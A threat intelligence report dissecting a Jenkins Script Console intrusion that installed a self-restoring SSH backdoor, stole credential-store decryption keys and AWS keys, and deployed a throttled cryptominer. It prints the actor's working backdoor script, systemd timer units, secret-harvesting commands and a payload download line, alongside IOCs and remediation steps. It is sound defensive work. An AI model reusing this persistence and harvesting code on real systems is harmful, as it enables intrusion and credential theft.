The Backdoor Key That Puts Itself Back
A threat actor breached a Jenkins server through its unauthenticated Script Console, then installed a self-healing SSH backdoor: delete the key and a systemd timer disguised as an update checker puts it back within five minutes. They stole the keys that decrypt the entire Jenkins credential store, harvested AWS credentials, and two days later deployed a cryptominer throttled to avoid detection. Full kill chain, IOCs, and Sigma detection rules inside.
The Backdoor Key That Puts Itself Back
State of the Attack · August 2026
Summary
A threat actor found a Jenkins server with its Script Console reachable from the internet without a password. The Script Console is a built-in admin feature that runs Groovy, a scripting language, directly on the server, so reaching it means running commands as the Jenkins user immediately. No exploit involved.
They added an SSH key to the root account. On its own, that is commodity activity that we wouldn’t be writing about. What makes it worth your time is what they installed alongside it: a small script and a systemd timer that check every five minutes whether the key is still there and put it back if it has gone.
Delete the key and it returns within five minutes, with nothing in your logs to suggest anything went wrong, because the script that restores it is disguised as a system update checker and genuinely checks for system updates.
Two days later they came back and installed a cryptocurrency miner from the same staging server. It is throttled to half the machine’s cores so it will not stand out, and it keeps its connection to the mining pool even if the pool’s domain name is blocked.
We recovered the deployment scripts, which carry the actor’s own comments in Chinese. They are useful because they show how the actor was thinking about each choice rather than just what they did.
What is not new: adding a key to
authorized_keys (MITRE T1098.004) and holding persistence
with a systemd timer (T1053.006) are both well documented, including by
MITRE’s own detection guidance DET0126 and by Elastic, Splunk and Wazuh.
If you alert on writes to authorized_keys and on new units
appearing in /etc/systemd/system/, you should be catching
this already.
What is new: the specific files, the key, the miner configuration, the actor’s markers, and their reasoning. We have not located these indicators in public reporting.
This was captured on one of our sensors, so what follows is what the actor did and believed they had achieved.
Step 1: Getting in
Ten seconds of reconnaissance, then straight to the Script Console.
GET /api/json 200 (anonymous read is enabled)
POST /createView 404
POST /view/all/config.xml 404
POST /script 200 (code runs)
That is the whole of the access. They tried admin /
admin six hours later and were rejected, which suggests
they were checking whether a real login existed rather than needing
one.
Step 2: Checking what they landed on
Before deploying anything they profiled the machine.
id; nproc; uname -a; free -m | head -2
which curl wget python3
which aws kubectl; aws --version 2>&1; kubectl version --client 2>&1 | head -3
Three questions, in order: what am I running as and how big is this box, what tools do I have to pull files with, and does this machine have cloud or Kubernetes credentials attached.
nproc matters more than it looks. Two days later they
deployed a miner configured for exactly half the cores this command
reported, and their own comment in that script names the practice. They
are not guessing at a throttle value, they are measuring the machine and
sizing to it. That connection is worth holding onto until Step 6,
because it is the difference between a careless cryptominer and a
deliberate one.
They never check the distribution directly, but they do not need to.
The maintenance script guards its own cover story with
command -v apt-get, so on a Debian or Ubuntu host it
produces convincing update logs, and on anything else it skips that part
and still re-adds the key. The disguise degrades, the backdoor does
not.
Step 3: Writing the key into the middle of the file
Most published examples of this technique add the key to the end of
/root/.ssh/authorized_keys. This one calculates the
midpoint of the file and inserts it there.
def akf = new File("/root/.ssh/authorized_keys")
if (!akf.exists()) { akf.parentFile.mkdirs(); akf.createNewFile() }
def lines = akf.text.readLines()
if (lines.any { it.contains('host-monitor@main') }) {
sb.append('KEY_ALREADY\n')
} else {
def mid = (int)(lines.size() / 2)
lines.add(mid, pub)
akf.text = lines.join('\n') + '\n'
akf.setExecutable(true, true); akf.setReadable(true, true); akf.setWritable(true, true)
sb.append('KEY_INSERTED_LINE_' + (mid+1) + '\n')
}
The key they add carries the comment host-monitor@main,
which is what makes it look like monitoring infrastructure at a glance
and is also how they recognise their own work.
Putting it in the middle works because generally people would check
the end of the list for additions. The reflex on a suspected rogue key
is tail authorized_keys, and a key halfway down a file of
legitimate keys survives that, along with anyone skimming to close out
an alert as a false positive. It does not defeat file integrity
monitoring or auditd. The write is still a write.
Two other details. The code creates /root/.ssh/ if it is
missing, so it works on a server where root has never used SSH. And it
checks for its own key first, reporting KEY_ALREADY rather
than adding a duplicate, because two identical keys in one file is
exactly what an administrator notices.
One thing to hunt on:
akf.setExecutable(true, true) puts the execute bit on
authorized_keys. Nothing legitimate does that.
Their maintenance script does set the file back to
chmod 600, but only on the branch where the key had been
removed, so on an undisturbed host the execute bit stays set
indefinitely. Combined with where the key sits in the file, that gives
you a single check that tells you the state of the compromise. See
below.
Step 4: The script that puts the key back
Written to /usr/local/lib/systemd-update-check.sh:
#!/bin/bash
# system update check helper
if command -v apt-get >/dev/null 2>&1; then
UPDATE_COUNT=$(apt-get -s upgrade 2>/dev/null | grep -c '^Inst' || true)
if [ "${UPDATE_COUNT:-0}" -gt 0 ]; then logger -t update-check "pending updates: $UPDATE_COUNT"; fi
fi
MONKEY="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOSnqswdyl3z/cXuBa0B47XoQjXHs29FrxL0ZpssApCh host-monitor@main"
AK="/root/.ssh/authorized_keys"
if [ -f "$AK" ]; then
grep -qF "$MONKEY" "$AK" || {
echo "$MONKEY" >> "$AK"
chmod 600 "$AK"
logger -t update-check "monitoring key re-added"
}
fi
exit 0
The disguise is the good part. The first six lines really do run a
simulated apt-get upgrade, count the pending updates and
write the number to syslog, so an administrator who opens this file and
reads the top of it sees a plausible patch monitoring helper. The log
lines it produces look like housekeeping. The backdoor is the second
half of a script whose first half does honest work.
The variable holding the key is called MONKEY. We have
left it out of the indicator set because it is a common password and
searching for it across an estate returns almost entirely unrelated
login attempts.
Step 5: The timer
# /etc/systemd/system/update-check.service
[Unit]
Description=Check for pending system updates
[Service]
Type=oneshot
ExecStart=/usr/local/lib/systemd-update-check.sh
# /etc/systemd/system/update-check.timer
[Timer]
OnBootSec=2min
OnUnitActiveSec=5min
AccuracySec=30s
RandomizedDelaySec=10s
[Install]
WantedBy=timers.target
Then daemon-reload, enable --now, and a
check of systemctl is-active to confirm it took. The key
comes back every five minutes, and two minutes after every reboot.
The file tells you whether anyone has already tried to clean it
Two differences between the initial deployment and the repair path combine into one useful check.
The initial code inserts the key in the middle of
the file and sets the execute bit. The maintenance script
appends the key to the end and sets
chmod 600, and it only does either of those on the branch
where the key was missing. On a host nobody has touched, the maintenance
script runs every five minutes and changes nothing.
So the file’s state tells you your own history:
| What you find | What it means |
|---|---|
| Key mid-file, execute bit set | Original deployment. Nobody has removed the key |
Key at end of file, mode 600 |
Somebody removed it and the timer put it back |
If you are looking at the second state, a previous cleanup attempt already failed, and whoever made it probably believes the host is clean.
The mismatch is also a small tell about how this was built. The two halves were written separately, possibly AI assisted, and nobody reconciled them.
The actors
They work from a job list. Their scripts and scratch
files carry ticket numbers in a consistent format. Across this one
intrusion we counted eight distinct numbers: 1297,
1334, 2166, 2190, 2382, 2944, 3062 and 3487. They appear as scratch
filenames (/tmp/wo1334_x.txt), as script header comments
(WO-2190 on the backdoor deployment), and as success
markers echoed back through the console.
Those markers are the useful part, because they are a naming convention rather than a one-off:
WO2166_RCE_OK WO2166_VERIFY_OK WO2190_RCE_OK
HUNTER_JK_OK_806192 HUNTER_JK_OK_807101 HUNTER_VERIFY_835696
The WO<number>_RCE_OK and _VERIFY_OK
pair is a standard two-step confirmation, run once to prove code
execution and again to prove it stuck.
HUNTER_JK_OK is not a job number. It has a different
shape entirely: a fixed prefix, what looks like a target-type tag, and a
run identifier. We cannot tell you whether HUNTER is a tool
name, a campaign label or an operator handle. What it is for practical
purposes is a consistent string echoed on every successful run, which
makes it the single best thing on this page to search your logs for.
Eight numbers spanning 1297 to 3487, inside one intrusion, reads as a queue of work assigned and worked through rather than one person improvising. It could be a team, a contractor arrangement, or one person being organised.
They were working live, without a test environment.
Installing the backdoor took three attempts over about twenty minutes,
all failing the same way. They had written a Bash script containing
shell variables such as $UPDATE_COUNT and $AK,
then pasted it into Groovy, which also treats $ as special
inside double quotes. The script was being mangled before it ever
reached disk. This is a cross-language quoting problem, not a version or
distribution mismatch, and anyone who had run it once locally would have
caught it.
The first attempt escaped every $ by hand. The second
gave up on quoting and base64-encoded all four files, decoding them on
the server. The third went back to plain text with single quotes, and
they left themselves a note:
// Using single-quoted strings to avoid $ interpolation
Between attempts they read the file back to see what had actually landed, first directly and then base64-encoded when the plain read was not clear enough, and checked the timer:
println(new File("/root/.ssh/authorized_keys").text)
println(["systemctl","is-active","update-check.timer"].execute().text)
That is hands-on-keyboard work. An unattended script does not read its own output and change approach twice.
They took the machine’s own SSH keys, and never used
them. After the backdoor was in place they came back the same
evening and read both /root/.ssh/id_rsa and
/root/.ssh/id_ed25519, receiving private key material.
Neither key was ever presented back to any of our sensors
afterwards.
The same is true of the key they planted. Across the whole campaign neither address ever connected to an SSH service, on this machine or any other we operate. They built a door, wrote a mechanism to keep rebuilding it, and never walked through it while we were watching. Access was being banked rather than used, which is consistent either with holding it for later or with selling it on.
To be clear about how all of this was done: through the web
console, start to finish. Every command they ran arrived as a
POST to the Script Console, 855 of them. The host
profiling, the credential theft, the backdoor, the systemd timer, the
miner install, all of it, typed into a box in a browser. Everything else
we saw from these addresses was reconnaissance, failed logins, or
probing at other products entirely.
So they stole two of the machine’s SSH keys, planted a third, and never opened an SSH connection to the host. If you are waiting for a compromise to look like someone logging in, this one never does. It looks like web traffic to your build server, which is what your build server is supposed to receive.
What happened in the ninety seconds after taking them says more than the theft did:
cat /var/lib/jenkins/config.xml
cat /root/.bash_history
netstat -tlnp 2>/dev/null || ss -tlnp
curl -s hxxp://127.0.0.1:2375/containers/json?all=true
curl -s hxxp://127.0.0.1:2375/images/json
They read the Jenkins configuration and the root shell history, listed listening services, then checked whether the machine was also running an exposed Docker API on its loopback interface, which would have been a second route onto the host.
The cloud credentials are the ones they actually
used. Seconds before taking the SSH keys they had read
/root/.aws/credentials. What they did with them over the
next ninety minutes is worth following closely:
| Time | Where | What |
|---|---|---|
| 21:49 | first address | cat /root/.aws/credentials |
| 22:53 | first address | which aws kubectl, then
aws sts get-caller-identity |
| 22:54 | first address | AWS Python library missing, so pip3 install boto3 |
| 23:00 | first address | curl -s https://checkip.amazonaws.com |
| 23:08 | second address | AWS API calls begin against the account |
They harvested the credentials on the compromised server, found the tooling they needed was not installed, checked what public IP address that server would appear from, and then made the actual API calls from somewhere else entirely. Whatever else they are careless about, they did not want the noisy compromised box appearing in a cloud provider’s audit log.
The calls themselves follow a deliberate escalation: confirm the identity, ask for temporary session credentials, ask which account the key belongs to, and then request a federation token, which is the call that turns programmatic keys into a browser console session. That is somebody trying to move from a stolen key to hands-on access to the account.
It is also where their limits show. On the first address they tried to hand-write an AWS authentication header rather than use a library, and it was malformed and rejected. They are fluent on Linux and noticeably less comfortable in cloud environments.
They took the keys that decrypt the credential store, not just the store. This was the very first thing they did, before any of the persistence work, and it is the part with the widest blast radius.
Jenkins does not keep credentials in plaintext.
credentials.xml holds them encrypted, and two files under
secrets/ are what decrypt them. In a three second window at
04:49:57 they read all three:
04:49:57 /var/lib/jenkins/credentials.xml
04:49:58 /var/lib/jenkins/secrets/master.key
04:49:59 /var/lib/jenkins/secrets/hudson.util.Secret
With that set an attacker can decrypt every stored credential offline, at leisure, on their own machine. They did not even wait for that. Later the same afternoon they lifted an encrypted blob straight out of the store and asked Jenkins to decrypt it in place, using the product’s own crypto:
println hudson.util.Secret.fromString("{<encrypted blob>}").getPlainText()
They then went after the rest of what the instance held: the user
database under /var/lib/jenkins/users/, where account
records live; the SSH private key belonging to the jenkins
service account, separately from root’s; the full process environment,
filtered for anything interesting:
env | grep -iE 'pass|key|token|secret|cred'
And they walked every configured job, pulling out the URLs each one references:
jenkins.model.Jenkins.get().getAllItems().each { it ->
def txt = new File(it.getRootDir(), "config.xml").getText("UTF-8")
def urls = (txt =~ /(?:https?|git@)[^"<\s]+/).findAll()
println("JOB=" + it.getFullName())
urls.unique().each { u -> println(" URL=" + u) }
}
A build server’s job configs are a map of everything it connects to,
and git@ in that pattern means they were specifically
enumerating source repositories. A Jenkins box is rarely valuable in
itself. It is valuable because it holds standing credentials to the
things that matter, and this is an actor collecting the map alongside
the keys.
Planting an SSH key was not the objective. Collecting what the machine already held was, and the backdoor exists to keep that collection going.
Two things they did not do. You should look anyway.
They listed /var/lib/jenkins/init.groovy.d/, the
directory whose scripts Jenkins runs at every startup and an obvious
second place to hide persistence, but never wrote to it.
And they never touched 169.254.169.254. That address is
the cloud metadata service. It exists only inside a cloud virtual
machine, every major provider uses the same number for it, and it
answers questions about the machine over plain unauthenticated requests:
hostname, region, what is attached. If the machine has been given a
cloud role, it will also hand out working credentials for that role to
anything on the box that asks, with no password of any kind. For an
actor who had just gone looking for cloud access it is the cheapest grab
available, one request with no tooling, and potentially a more
privileged credential set than the file they did read. Skipping it is
the same gap in their cloud tradecraft that the malformed authentication
header showed.
Step 6: The miner, two days later
Two days after the backdoor work, a second address began running the same tooling. We treat both as the same actor because of what they share:
- The second address downloads its tools from a
/cdn/path on the first address’s own web server, so one machine is fetching from the other. - Both reference the same mining pool address.
- Both use the same
WO-numbered job naming.
We recovered two miner deployment scripts. WO-2944 is
the one delivered through Jenkins. The second,
wo3487_nacos_deploy.sh, is a later variant staged on the
same server and aimed at a different product.
Nacos is Alibaba’s open-source service registry and configuration server. If you run Java microservices, it is the thing that holds your service addresses and application config, which makes it a high-value target. Versions before 2.4.0 expose an internal database console that can be driven into running commands on the host.
We never saw that script used against anything of ours, because we do not run a Nacos service for it to hit. That does not mean it went unused. The mining pool shows it running on other people’s machines, which is how we know the campaign is wider than the part that touched us.
They have a name for staying quiet
# 写配置: 4核 -> 2线程 (50% 隐蔽纪律), IP直连
# "write config: 4 cores -> 2 threads (50% concealment discipline), direct IP"
"cpu": { "max-threads-hint": 50, "priority": 0 }
隐蔽纪律 translates as “concealment discipline”. Half the cores, at
low scheduling priority, and the four cores in that comment are the
number nproc reported during their reconnaissance. A second
deployment against a different machine used 75%, so the figure is chosen
per target.
Most guidance for finding cryptominers assumes a machine running hot. This one will not, deliberately. Detection built on CPU saturation will not find them.
They keep mining after the pool is blocked
# hosts 锁真池 "hosts lock real pool"
grep -q <pool-ip> /etc/hosts || echo "<pool-ip> gulf.moneroocean[.]stream" >> /etc/hosts
Blocking a mining pool by domain name at your resolver is a normal
containment step. The script writes the pool’s IP address into
/etc/hosts before starting, so the name resolves on the
host itself and the query never leaves it.
That defeats the block, but it also costs you the evidence. Resolver logs are where most people look to see what a host has been talking to, and this lookup never gets there, so the pool never appears in them. The host is mining and your DNS records show nothing.
The mining configuration already holds the raw IP, so this line does nothing for their own connectivity. It exists purely to survive your response.
They clear out other people’s miners
# 杀竞争矿工 "kill competing miners"
for p in xmrig kdevtmpfsi kinsing minerd cpuminer xmrig-cpu kthreaddk; do pkill -9 -f "$p"; done
That list is a roll-call of common cryptojacking families, and this is routine across cryptomining campaigns. An actor about to use a machine’s CPU does not want to share it, so they clear the competition as a matter of course.
It does have a useful side effect. If a cryptominer you were already tracking disappears from a host, that is worth investigating rather than closing.
The rest of the script
mkdir -p /var/tmp/.update-systemd
cd /var/tmp/.update-systemd
if [ ! -f .netd ] || [ "$(stat -c%s .netd 2>/dev/null || echo 0)" != "<size>" ]; then
curl -sfL -o .netd hxxp://<staging-host>/cdn/xmrig64
fi
They use /var/tmp rather than /tmp because
it survives a reboot and is not cleared by the usual temporary-file
cleaners. The leading dot hides the directory from a plain
ls, and the miner is renamed .netd, which
reads as a network daemon in a process listing.
The file size check means re-running the script costs nothing and will not re-download 8 MB, while a changed binary is picked up automatically.
"donate-level": 0,
"pools": [{ "url": "<pool-ip>:443", "tls": true,
"user": "<wallet>.cm-<derived from target IP>", "pass": "x" }]
XMRig donates 1% of mining time to its developers by default. They set that to zero, though a second deployment left it at 1, so this is tuned job by job. The pool connection runs over TLS on port 443, so on the wire it resembles ordinary HTTPS.
The worker name attached to the wallet is built from the target machine’s own address. They label every host they mine on, which makes the wallet a far better census of this campaign than any single compromised server.
What the wallet shows
The pool publishes per-worker statistics for any wallet, and this one is not quiet. At the time of writing it carries 27 workers, 23 of them actively mining. Aggregate hashrate measured between 85 and 118 kH/s across two samples an hour apart, so treat any single figure as a snapshot of something still growing.
Two of those workers are provably this actor. One is
nacos-168, the exact rig identifier hardcoded in the Nacos
deployment script. The other is wo2944-87, carrying the job
number from the script delivered through Jenkins. Those two strings are
what tie the whole wallet back to files we hold and can hash.
The first of them settles a question our own telemetry could not. We never saw the Nacos script used, because we do not present a Nacos service anywhere. It is running, and it has been earning. The pool answered in one query what our sensor network structurally could not.
The remaining worker names read as host and organisation identifiers: what look like corporate build infrastructure, self-hosted Git servers, personal machines and two Docker container IDs. They are attacker-typed strings rather than verified identities, and exactly one of them contains a usable IP address. The register has gone to law enforcement rather than into this brief.
Treat the aggregate as a floor rather than a total. Nothing stops an actor running several wallets or proxying through an intermediate pool account, so 27 workers is what we can see, not necessarily what exists.
if command -v systemctl >/dev/null 2>&1 && [ -d /run/systemd/system ]; then
# /etc/systemd/system/<name>.service, "System Update ...", Restart=always
else
setsid nohup ./.netd -c ./.netd.json --no-color >/dev/null 2>&1 < /dev/null &
(crontab -l | grep -v net-maint-keepalive; echo '* * * * * pgrep -f .netd || ( ... ) # net-maint-keepalive') | crontab -
fi
Persistence is installed twice. If systemd is present the script creates a service; if not it starts the miner directly and adds a cron entry that restarts it if it dies. One variant checks every seven minutes, another every minute. The cron fallback is the one missed during cleanup.
Every unit they create is named as though it belongs to the system
update machinery: update-check.service for the backdoor,
then systemd-update-cleaner.service and
update-service.service for the miner. The name changes with
every deployment. The install path and the cron marker do not.
On the Chinese comments, and why they are not attribution
The scripts are commented throughout in Chinese, and the comments are working notes rather than labels. That tells you something about how the author thinks about the work. It does not tell you where they are or who they work for.
Language in source code is among the easiest signals to fake deliberately, and plenty of tooling is shared, sold or stolen between groups. Anyone planting comments to be found would plant exactly this kind.
Two measurements cut against the obvious reading.
Working hours. Across 1,081 sessions, 86% of their activity falls between 21:00 and 07:00 Beijing time, and only 11% lands inside Chinese business hours. Place the same activity in UTC and 44% falls inside a normal working day. That is a four-day sample and people do work nights, so it settles nothing on its own.
Infrastructure. None of it is Chinese. The staging server is Russian shared hosting (Timeweb, AS9123). The second address is a US cloud VPS (Oracle, AS31898). There is no Alibaba Cloud, no Chinese hosting and no Chinese transit anywhere in the campaign.
So one signal points east and two do not. We are treating none of them as attribution, and a reader should not either.
Timeline
| When | What |
|---|---|
| Day 1, early morning | Anonymous read of the Jenkins API, then the Script Console |
| Day 1, afternoon | Profiles the host, reads the Jenkins credential store, probes for Kubernetes |
| Day 2, evening | Three attempts at the backdoor over twenty minutes; the third works |
| Day 2, late evening | Returns to re-read the key file, then reads both of the host’s private SSH keys |
| Day 3, evening | Installs the cryptominer (WO-2944) |
| Day 4 | A second address picks up the operation and stages the Nacos miner variant |
Both addresses have been quiet since.
What defenders should look for
Ranked roughly by how hard each is for the actor to avoid.
The unit and timer files. They have to create these.
/etc/systemd/system/update-check.service
/etc/systemd/system/update-check.timer
/usr/local/lib/systemd-update-check.sh
No mainstream Linux distribution ships a unit called
update-check. More generally, any .timer in
/etc/systemd/system/ whose ExecStart points
into /usr/local/lib/ is worth a look regardless of this
campaign.
The self-repair log line.
update-check: monitoring key re-added
This only appears on the code path where the key was missing and has just been restored. It is the sound of somebody’s cleanup failing. Alert on it.
The key comment. Search authorized_keys
files across your estate for host-monitor@main. It is how
the actor recognises their own work, so they cannot drop it without
breaking their re-add logic.
The miner’s install directory,
/var/tmp/.update-systemd/, and the cron marker
net-maint-keepalive. Both were constant across every
deployment we captured, while the service name changed each time.
The /etc/hosts entry. A mining pool
hostname pinned to an IP address in /etc/hosts has no
legitimate explanation. It is one grep, and its presence
means somebody has deliberately protected a miner against your DNS
controls.
If you run Jenkins, watch the two files that decrypt everything. Any read of
/var/lib/jenkins/secrets/master.key
/var/lib/jenkins/secrets/hudson.util.Secret
by anything other than the Jenkins process itself is worth waking
someone for. Nothing routine touches them. Read together with
credentials.xml inside a few seconds, as happened here, it
means the whole credential store has left the building in a form the
attacker can open at their own pace.
Their own tooling also announces itself. The strings
HUNTER_JK_OK_, HUNTER_VERIFY_, and the
WO<number>_RCE_OK /
WO<number>_VERIFY_OK pair are echoed through the
console on every successful run, so they land in whatever captures
Script Console output.
The console request itself. Look for a
POST to /scriptText whose body contains both
authorized_keys and Groovy file or execution calls. One
practical warning: that body arrives form-encoded, so the key’s
/ characters appear as %2F and its spaces as
+. A rule written against the plain text will never fire.
Decode the body before matching, and test any rule you already have
against an encoded sample.
Remediation
Removing the key achieves nothing on its own, and there are two separate restart mechanisms. The systemd unit is the obvious one. Every miner variant we captured also writes a cron entry as a fallback, and that is the one that gets missed. Disable the service, leave the cron line, and the miner is back within the minute.
List the scheduled tasks before deleting anything, so you know what will fight you:
systemctl list-timers --all | grep -Ei 'update-check|update-service|update-cleaner' crontab -l; for u in $(cut -f1 -d: /etc/passwd); do crontab -l -u "$u" 2>/dev/null; done ls -la /etc/cron.d/ /etc/cron.{hourly,daily}/ /var/spool/cron/ /var/spool/cron/crontabs/Search for the markers rather than one filename:
net-maint-keepalive,.update-systemd,.netd.Remove the cron entries and disable the services together, not one and then the other.
Delete the unit files, the maintenance script and
/var/tmp/.update-systemd/, then runsystemctl daemon-reload.Remove the
/etc/hostsentry for the mining pool. Skip this and your DNS blocking stays useless even after the miner is gone.Now remove the key, reading the whole
authorized_keysfile rather than the end of it.Treat
/root/.ssh/id_rsaand/root/.ssh/id_ed25519as compromised and rotate them, along with anything those keys reach. They were read.Rotate every credential the Jenkins instance held, and treat them as known plaintext rather than as possibly-encrypted. This is not the usual precautionary wording. They took
secrets/master.keyandsecrets/hudson.util.Secretalongsidecredentials.xml, which is the complete set needed to decrypt the store offline, and they were observed decrypting one entry in place. Rotating the Jenkins master key alone does not help: it protects the store going forward and does nothing about the copy they already hold. Every secret in there is spent. Also rotate thejenkinsservice account’s own SSH key at/var/lib/jenkins/.ssh/id_rsa, which was read separately from root’s, and any account in/var/lib/jenkins/users/.Work outward using the job configs as your list. They enumerated every job’s
config.xmlfor HTTPS andgit@URLs. Whatever those point at, the credentials that reach it should be considered exposed, source repositories included.Check
/var/lib/jenkins/init.groovy.d/even though we did not see them write to it. Scripts there run at every Jenkins start, and they listed the directory.Close off unauthenticated access to the Script Console, or the whole sequence happens again.
Indicators
Full set with context in
jenkins-groovy-selfhealing-ssh-persistence-iocs.csv.
Detection rules in
jenkins-groovy-selfhealing-ssh-persistence-sigma.yml,
written in Sigma, the vendor-neutral format most tools can convert into
their own query language.
Backdoor
| Type | Value |
|---|---|
| SSH key | ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOSnqswdyl3z/cXuBa0B47XoQjXHs29FrxL0ZpssApCh host-monitor@main |
| Key comment | host-monitor@main |
| File | /usr/local/lib/systemd-update-check.sh |
| File | /etc/systemd/system/update-check.service |
| File | /etc/systemd/system/update-check.timer |
| Syslog | update-check: monitoring key re-added |
| Anomaly | execute bit set on /root/.ssh/authorized_keys |
Cryptominer
| Type | Value |
|---|---|
| Deploy script | SHA-256 9cd66173..., not located in public malware
repositories |
| File | /var/tmp/.update-systemd/.netd (renamed XMRig) |
| File | /var/tmp/.update-systemd/.netd.json |
| Directory | /var/tmp/.update-systemd/ |
| systemd units | update-service.service,
systemd-update-cleaner.service |
| Cron marker | net-maint-keepalive |
| Hosts entry | 205.172.58[.]170 gulf.moneroocean[.]stream |
| Mining pool | 205.172.58[.]170:443 over TLS |
| Wallet | 8C3jPvkYeP5UZs6tqpo27NJPjKGF3qRiCe5PhEUMS69ziLTKisBrCJK8i3fLf7XTUdB5bYySFuXsaNkYL2zS5szuNEPPe6q |
Infrastructure
| Type | Value | Note |
|---|---|---|
| Staging server | 213.171.5[.]66 |
Compromised shared hosting (Timeweb, AS9123). Serves
/cdn/ payloads. See below |
| Payload URL | hxxp://213.171.5[.]66/cdn/xmrig64 |
Miner binary |
| Payload URL | hxxp://213.171.5[.]66/cdn/wo3487_nacos_deploy.sh |
Nacos miner deployment script |
| Earlier staging | 89.108.76[.]200:8123 |
Served .netd and .netd.json. Abandoned the
same morning |
| Earlier staging | 188.225.82[.]197:8123 |
Same files, same port. Timeweb, AS9123, the same network as the main staging server |
| Second address | 163.192.1[.]64 |
Cloud VPS (AS31898). Fetches tooling from the staging server |
| Mining pool | 205.172.58[.]170 |
Also pinned into /etc/hosts |
On the two :8123 hosts. Before settling
on their own /cdn/ path the actor tried two other servers,
a minute apart, both on port 8123 and both serving the miner under the
name .netd. By that evening they had moved to
213.171.5[.]66/cdn/xmrig64, a different host, port and
filename. Worth having because a defender who only blocks the
/cdn/ URLs from this brief will miss the earlier pair, and
the :8123 plus .netd combination is the more
distinctive pattern of the two.
One caution on 188.225.82[.]197. It also reached our
sensor directly, but what it did there was a generic Jenkins credential
lookup carrying none of this campaign’s markers, and three unrelated
addresses did the same thing on the same sensor that same afternoon. Its
only real tie to this campaign is that the actor’s own deployment
command names it as a payload source.
The staging server is a compromised shared-hosting box, which means
other customers’ sites run on the same address. Blocking the address
risks blocking uninvolved third parties. The /cdn/ URLs are
attacker-controlled and safe to alert on. Treat the address as
correlation only and expect it to be cleaned up or reassigned.
Actor markers
| Type | Value |
|---|---|
| Job numbers | 1297, 1334, 2166, 2190, 2382, 2944, 3062, 3487 (as
WO-<n>, wo<n>) |
| Tool marker | HUNTER_JK_OK_<6 digits> |
| Tool marker | HUNTER_VERIFY_<6 digits> |
| RCE confirmation | WO<n>_RCE_OK and
WO<n>_VERIFY_OK |
| Console framing | ### CMD: and ### END |
| Success markers | KEY_INSERTED_LINE_, KEY_ALREADY |
MITRE ATT&CK: T1098.004, T1053.006, T1036.005, T1059.004, T1552.001, T1552.004, T1555, T1082, T1083, T1496, T1562.001.
Not an indicator. The miner binary is the official, unmodified XMRig release. We recovered byte-for-byte the same file from an unrelated campaign in the same week, so it will appear in many places that have nothing to do with this actor.
Closing
The backdoor is not the interesting part. Adding a key and a timer is well-trodden ground.
What is interesting is that the actor wrote down why they made the choices they made, and left those notes in the scripts. They know remediation starts with the key, so they built something that outlives the key. They know defenders block mining pools by name, so they pinned the address first. They know a machine at full load gets investigated, so they measured the CPU count and took half.
Every one of those is a decision made in anticipation of a defender. The response you are planning is the one they planned against.
The Chinese comments were translated term by term against multiple Chinese-English dictionaries, with the original printed alongside each one.
Indicators of Compromise
then cryptominingexported for detection authoring and LE/PSIRT handoff.so do not blanket-block the host -- but the /cdn/ URLs on it areno Host header and no passive DNS for this addressssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOSnqswdyl3z/cXuBa0B47XoQjXHs29FrxL0ZpssApCh host-monitor@mainhost-monitor@mainc0680a645d6529a9/usr/local/lib/systemd-update-check.sh/etc/systemd/system/update-check.service/etc/systemd/system/update-check.timerupdate-check.serviceupdate-check.timerupdate-check: monitoring key re-addedupdate-checksame update/systemd disguise) ------9cd66173c35603705f53c23b3d067dd1b2bb14f7728d3ac1e2a584fdd43f7cd5http://213.171.5.66/cdn/wo3487_nacos_deploy.shhttp://213.171.5.66/cdn/xmrig648C3jPvkYeP5UZs6tqpo27NJPjKGF3qRiCe5PhEUMS69ziLTKisBrCJK8i3fLf7XTUdB5bYySFuXsaNkYL2zS5szuNEPPe6q205.172.58.170gulf.moneroocean.streamnacos-168/var/tmp/.update-systemd/.netd/var/tmp/.update-systemd/.netd.json/etc/systemd/system/update-service.serviceupdate-service.servicenet-maint-keepalivesha256is213.171.5.66163.192.1.6489.108.76.200188.225.82.197http://89.108.76.200:8123/.netdhttp://89.108.76.200:8123/.netd.jsonhttp://188.225.82.197:8123/.netdhttp://188.225.82.197:8123/.netd.jsonAS9123/var/lib/jenkins/secrets/master.key/var/lib/jenkins/secrets/hudson.util.Secret/var/lib/jenkins/.ssh/id_rsa/var/lib/jenkins/users/hudson.util.Secret.fromString(...).getPlainText()jenkins.model.Jenkins.get().getAllItems()env | grep -iE 'pass|key|token|secret|cred'HUNTER_JK_OK_HUNTER_VERIFY_WO2166_RCE_OKWO2166_VERIFY_OKWO2190_RCE_OKwo1297wo2382wo3062/proc/self/attr/currentWO-2190wo1334wo3487WO-2944systemd-update-cleaner.service/etc/systemd/system/systemd-update-cleaner.service.cm-<last octets of victim IP>xmrig kdevtmpfsi kinsing minerd cpuminer xmrig-cpu kthreaddk/var/lib/jenkins/credentials.xml* * * * * (respawn on .update-systemd/.netd)### CMD:### ENDKEY_INSERTED_LINE_KEY_ALREADYPOST /scriptTextGET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScriptthe variable name holding the key insidebut 'monkey' is a172 sessions from 120essentially all of themnot this operator. Recorded here so nobody re-adds it.Welcome1T1098.004T1053.006T1036.005T1059.004T1552.004T1496T1562.001
Detection Rules & IOCs
Two rules covering the two halves of this campaign: SSH backdoor persistence, and the delivery path through the Script Console. Full atomic and behavioural indicators are in the IOC CSV; deploy the Sigma rules first, they cover the parts of this campaign that survive infrastructure rotation.
jenkins-groovy-console-operator-sigma.yml
jenkins-groovy-console-operator-iocs.csv
In plain terms
- The update-check.service/.timer unit files and the script they point at: no mainstream distro ships a unit named update-check
- The self-repair log line update-check: monitoring key re-added: only fires when a cleanup attempt has already failed
- The SSH key comment host-monitor@main across your authorized_keys files
- Any read of the Jenkins credential-store decryption keys (secrets/master.key, secrets/hudson.util.Secret) by anything other than the Jenkins process itself
- A POST to /scriptText carrying both an authorized_keys reference and Groovy file/exec calls, decoded for form-encoding
Frequently asked
What is The Backdoor Key That Puts Itself Back?
A threat actor breached a Jenkins server through its unauthenticated Script Console, then installed a self-healing SSH backdoor: delete the key and a systemd timer disguised as an update checker puts it back within five minutes. They stole the keys that decrypt the entire Jenkins credential store, harvested AWS credentials, and two days later deployed a cryptominer throttled to avoid detection. Full kill chain, IOCs, and Sigma detection rules inside.
What are the indicators of compromise (IOCs) for The Backdoor Key That Puts Itself Back?
